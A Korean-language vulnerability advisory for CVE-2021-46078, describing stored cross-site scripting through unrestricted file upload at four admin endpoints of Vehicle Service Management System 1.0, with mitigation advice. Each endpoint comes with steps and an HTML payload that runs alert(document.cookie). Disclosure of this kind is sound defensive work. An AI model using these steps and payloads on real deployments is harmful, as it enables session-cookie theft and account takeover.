CVE-2021-46078
Exploit Title: 차량 서비스 관리 시스템 - '다중' 파일 업로드로 인한 저장형 크로스 사이트 스크립팅
CVE: CVE-2021-46078
CVSS: 4.8 중간
참고 자료:
설명:
Sourcecodester Vehicle Service Management System 1.0에 무제한 파일 업로드 취약점이 존재합니다. 원격 공격자가 악성 파일을 업로드하여 저장형 크로스 사이트 스크립팅 취약점을 유발할 수 있습니다.
1. 차량 서비스 관리 시스템 - '내 계정' (/admin/?page=user)
익스플로잇:
- 관리자 패널에 로그인합니다. http://localhost/vehicle_service/admin
- '내 계정' 섹션으로 이동합니다. http://localhost/vehicle_service/admin/?page=user
페이로드:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- 위의 HTML 코드를 예를 들어 XSS.html로 저장합니다.
- '내 계정' 섹션에서 필요한 모든 세부 정보를 입력하고 아바타에서 HTML 파일을 찾아 선택합니다.
- 업데이트 버튼을 클릭합니다.
- 아바타 이미지를 새 탭에서 엽니다.
- 악성 자바스크립트 코드가 실행됩니다.
2. 차량 서비스 관리 시스템 - '사용자 목록' (/admin/?page=user/manage_user)
익스플로잇:
- 관리자 패널에 로그인합니다. http://localhost/vehicle_service/admin
- 사용자 목록 섹션으로 이동하여 새로 만들기 버튼을 클릭합니다.
페이로드:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- 위의 HTML 코드를 예를 들어 XSS.html로 저장합니다.
- 새 사용자 페이지에서 필요한 모든 세부 정보를 입력하고 아바타에서 HTML 파일을 찾아 선택합니다.
- 저장 버튼을 클릭합니다.
- 아바타 이미지를 새 탭에서 엽니다.
- 악성 자바스크립트 코드가 실행됩니다.
3. 차량 서비스 관리 시스템 - '설정-시스템 로고' (/admin/?page=system_info)
익스플로잇:
- 관리자 패널에 로그인합니다. http://localhost/vehicle_service/admin
- 설정 섹션으로 이동합니다. http://localhost/vehicle_service/admin/?page=system_info
페이로드:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- 위의 HTML 코드를 예를 들어 XSS.html로 저장합니다.
- 설정 섹션에서 필요한 모든 세부 정보를 입력하고 시스템 로고에서 HTML 파일을 찾아 선택합니다.
- 업데이트 버튼을 클릭합니다.
- 시스템 로고 이미지를 새 탭에서 엽니다.
- 악성 자바스크립트 코드가 실행됩니다.
4. 차량 서비스 관리 시스템 - '설정-웹사이트 커버' (/admin/?page=system_info)
익스플로잇:
- 관리자 패널에 로그인합니다. http://localhost/vehicle_service/admin
- 설정 섹션으로 이동합니다. http://localhost/vehicle_service/admin/?page=system_info
페이로드:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- 위의 HTML 코드를 예를 들어 XSS.html로 저장합니다.
- 설정 섹션에서 필요한 모든 세부 정보를 입력하고 웹사이트 커버에서 HTML 파일을 찾아 선택합니다.
- 업데이트 버튼을 클릭합니다.
- 웹사이트 커버 이미지를 새 탭에서 엽니다.
- 악성 자바스크립트 코드가 실행됩니다.
영향:
공격자는 여러 엔드포인트에 악성 파일을 업로드할 수 있으며, 이로 인해 저장형 크로스 사이트 스크립팅이 발생합니다.
완화 방법:
다음 사항을 구현하는 것이 좋습니다:
- 화이트리스트 필터 없이 파일 이름 및 확장자를 직접 허용하지 마십시오.
- 유니코드 문자가 필요하지 않은 경우 파일 이름과 확장자에 영숫자 문자와 점 하나만 허용하는 것이 좋습니다.
- 서비스 거부 공격을 방지하기 위해 파일 크기를 최대값으로 제한하십시오.
- 업로드 디렉터리에 '실행' 권한이 없어야 합니다.
- 클라이언트 측 검증에만 의존하지 마십시오.